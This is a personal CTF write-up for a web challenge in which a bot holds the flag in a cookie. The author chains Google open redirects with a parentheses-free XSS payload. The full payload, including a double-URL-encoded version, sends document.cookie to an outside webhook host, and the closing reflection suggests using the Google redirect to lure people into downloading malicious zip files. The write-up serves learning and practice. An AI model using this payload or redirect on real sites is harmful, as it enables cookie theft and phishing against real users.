Note : I did not solve this challenge during game time (Skill issue tbh). Everything here is being done on my local instance.
Challenge
In this challenge, we were given a website with a simple input box that will only accept urls starting with https://www.google.com/
and source code files.
Looking at the source code files, the only interesting file here is app.js
which is a NodeJS file.
Inside the source code, we can see that the flag is stored inside the cookie.
const visit = async url => {
let context
try {
if (!browser) {
browser = await puppeteer.launch({
headless: 'new',
args: ['--js-flags=--jitless,--no-expose-wasm', '--disable-gpu', '--disable-dev-shm-usage'],
})
}
context = await browser.createIncognitoBrowserContext()
const page = await context.newPage()
await page.setCookie({
name: 'flag',
value: FLAG,
domain: 'localhost:3000',
})
await page.goto(url)
await sleep(3000)
await page.close()
} catch (e) {
console.error(e)
} finally {
if (context) await context.close()
}
}
Usually, when dealing with Puppeteer, Selenium or any kind of bot visiting challenges.. it must have something to do with either XSS (Cross-site scripting) or any attacks that requires user interaction.
Since the flag is stored in the cookie, I assume that we have to somehow invoke XSS and fetch document.cookie
with our payload.
Problem here is that, the input only accept urls starting with https://www.google.com/
.
Do we need to have our website on google search..?
That couldn’t be it right.. it would be very tedious.
Is there any open redirect available on google?
To my surprise, there is! I’ve never expected such a thing from google. I’ve found two working examples.
For example this one, it requires correct usg=
parameter for redirects. If not, you will be stopped on the redirect with a notice.
https://www.google.com/url?sa=t&url=http://example.org/&usg=AOvVaw1YigBkNF7L7D2x2Fl532mA
Another one I found which requires nothing at all.
https://www.google.com/amp/s/malicioushost.com
// from my testing, the /s is actually optional for this to work.
Oh TIL. There’s a lot of interesting stuff we can do with this, we’ll get back to this later. Very interesting indeed!
First idea:
Maybe I could just host my website, put my XSS payload inside my website and fetch the cookie.
Will it work?
I didn’t even try, and I know it wouldn’t work. The cookie is only stored for the domain localhost:3000
based on the source code.
await page.setCookie({
name: 'flag',
value: FLAG,
domain: 'localhost:3000',
})
Second idea:
Okay, since the cookie is only for domain localhost:3000
which I am guessing is the website local connection, maybe there’s an XSS sink (a place we could put our payload) inside the website.
Looking further into the website’s source code, apparently there is.
<script>
const e = new URLSearchParams(window.location.search).get('e');
if (e && e.length < 80 && !/[\\(\\)\`]/.test(e)) {
window.addEventListener('beforeunload', event => {
event.preventDefault();
event.returnValue = true;
return true;
});
const m = document.createElement('mark');
m.innerHTML = e;
document.querySelector('main').prepend(m);
}
</script>
Basically the code above will retrieve the GET parameter e
, make sure the length is lesser than 80 and make sure no parentheses is allowed.
Then it will render anything inside e
, onto the page.. which means it’s XSS-able!
Luckily, there’s plenty of XSS payload that requires no parentheses. (I’ve seen a few from a famous tweet, I forgot which)
For this challenge, I opted to proceed with this payload.
<svg/onload=location=/\test.com/+document.cookie>
Solution
Nice! Now we are just few steps away from extracting the cookie.
Let’s combine google redirect we found with the payload!
The whole idea will be like this:
Google redirect > localhost:3000 (invoke payload, steal cookie, redirect) > my webhook site
Our full payload to be submitted will look like this (with url encoding once):
https://www.google.com/amp/localhost:3000/?e=<svg%2Fonload=location=%2F%5Ceopv3w3vk53m2v7.m.pipedream.net%2F%2Bdocument.cookie>
Oh.. that didn’t work. Maybe we need to url encode the ?
mark before e
param too?
https://www.google.com/amp/localhost:3000/%3Fe=<svg%2Fonload=location=%2F%5Ceopv3w3vk53m2v7.m.pipedream.net%2F%2Bdocument.cookie>
We tried submitting it again, and..
After getting this close and looking solutions for an hour (don’t have much time anyway, thought that CTF ends on Sunday night), I decided to give up on the challenge and went on to look at ‘easier’ challenges.
After the CTF has ended, I read the solution from omachi. He was going through the route of using usg=
method.
His payload were pretty similar to mine, but he was able to get the flag.
Which kept me wondering, is there anything I’ve missed?
I kept trying lot of things, and it still won’t work. Even setup my own cookie website to test and check if my payload works (it does 😭).
Last thing I did was, doing url-encoding once again on the payload part.
https://www.google.com/amp/localhost:3000/%3Fe=%3Csvg%252Fonload%3Dlocation%3D%252F%255Ceopv3w3vk53m2v7.m.pipedream.net%252F%252Bdocument.cookie%3E
Wait… what? Double url encoding works!
At this point, I am guessing there’s a certain symbols not being interpreted correctly, by either the browser or the server.
Reflection
Sad that I couldn’t solve the challenge during the game. But still it’s pretty cool that I’ve learned something new.
I’ve never expected that there’s an open redirect in google!
I think there’s plenty of ways malicious attackers could abuse this open redirect to their own advantage.
A malicious attacker could probably buy a .zip
domain, for example notmalicious.zip
, host a web that will serve zip file, and then do something like this:
https://www.google.com/amp/notmalicious.zip
Most people would have thought, “Oh it’s from google, then it must be safe”, and then boom! You just downloaded a malicious zip file.
Tbh, idk if the above scenario works or not in real life, but still it’s pretty interesting.
Note: This works though.
https://www.google.com/amp/ntv.zip
Big thanks to WGMY crews for making these awesome challenges this year, I’ve definitely learned a lot!
Thanks for reading my writeup!